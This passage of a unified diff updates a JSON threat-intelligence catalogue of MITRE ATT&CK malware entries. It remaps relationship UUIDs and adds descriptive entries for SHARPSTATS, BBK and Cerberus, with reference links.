"8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11400,7 +12642,7 @@ "type": "similar" }, { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11414,7 +12656,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11428,7 +12670,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11456,7 +12698,7 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11470,42 +12712,42 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11543,6 +12785,75 @@ "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2", "value": "JHUHUGIT - S0044" }, + { + "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)", + "meta": { + "external_id": "S0450", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0450", + "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/" + ], + "synonyms": [ + "SHARPSTATS" + ] + }, + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "73c4711b-407a-449d-b269-e3b1531fe7a9", + "value": "SHARPSTATS - S0450" + }, { "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)", "meta": { @@ -11593,7 +12904,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11607,21 +12918,21 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11663,14 +12974,14 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11684,35 +12995,35 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11733,7 +13044,14 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11770,14 +13088,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11963,56 +13281,56 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12026,14 +13344,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12052,6 +13370,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754", @@ -12088,7 +13413,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12223,6 +13548,75 @@ "uuid": "ff8e0c38-be47-410f-a2d3-a3d24a87c617", "value": "Gustuff - S0406" }, + { + "description": "[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "meta": { + "external_id": "S0470", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0470", + "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" + ], + "synonyms": [ + "BBK" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f0fc920e-57a3-4af5-89be-9ea594c8b1ea", + "value": "BBK - S0470" + }, { "description": "[Monokle](https://attack.mitre.org/software/S0407) is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.(Citation: Lookout-Monokle)", "meta": { @@ -12371,6 +13765,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "6a7aaab1-3e0a-48bb-ba66-bbf7665c0a65", @@ -12416,21 +13817,21 @@ "type": "similar" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12444,21 +13845,21 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12472,21 +13873,21 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12496,6 +13897,152 @@ "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e", "value": "Sakula - S0074" }, + { + "description": "[Cerberus](https://attack.mitre.org/software/S0480) is a banking trojan whose usage can be rented on underground forums and marketplaces. Prior to being available to rent, the authors of [Cerberus](https://attack.mitre.org/software/S0480) claim was used in private operations for two years.(Citation: Threat Fabric Cerberus)", + "meta": { + "external_id": "S0480", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0480", + "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" + ], + "synonyms": [ + "Cerberus" + ] + }, + "related": [ + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "037f44f0-0c07-4c7f-b40e-0325b5b228a9", + "value": "Cerberus - S0480" + }, { "description": "[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)", "meta": { @@ -12534,7 +14081,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12546,6 +14093,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164", @@ -12589,7 +14150,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12603,7 +14164,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12666,14 +14227,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12687,14 +14248,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12736,7 +14297,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12771,7 +14332,7 @@ "type": "uses" }, { - "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12785,7 +14346,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12799,14 +14360,14 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12834,7 +14395,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12848,35 +14409,28 @@ "type": "uses" }, { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12888,6 +14442,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "35cd1d01-1ede-44d2-b073-a264d727bc04", @@ -12917,14 +14485,14 @@ "type": "similar" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12972,7 +14540,7 @@ "type": "similar" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12986,14 +14554,14 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13014,14 +14582,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13083,7 +14651,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13124,35 +14692,28 @@ }, "related": [ { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13186,21 +14747,21 @@ "type": "similar" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", 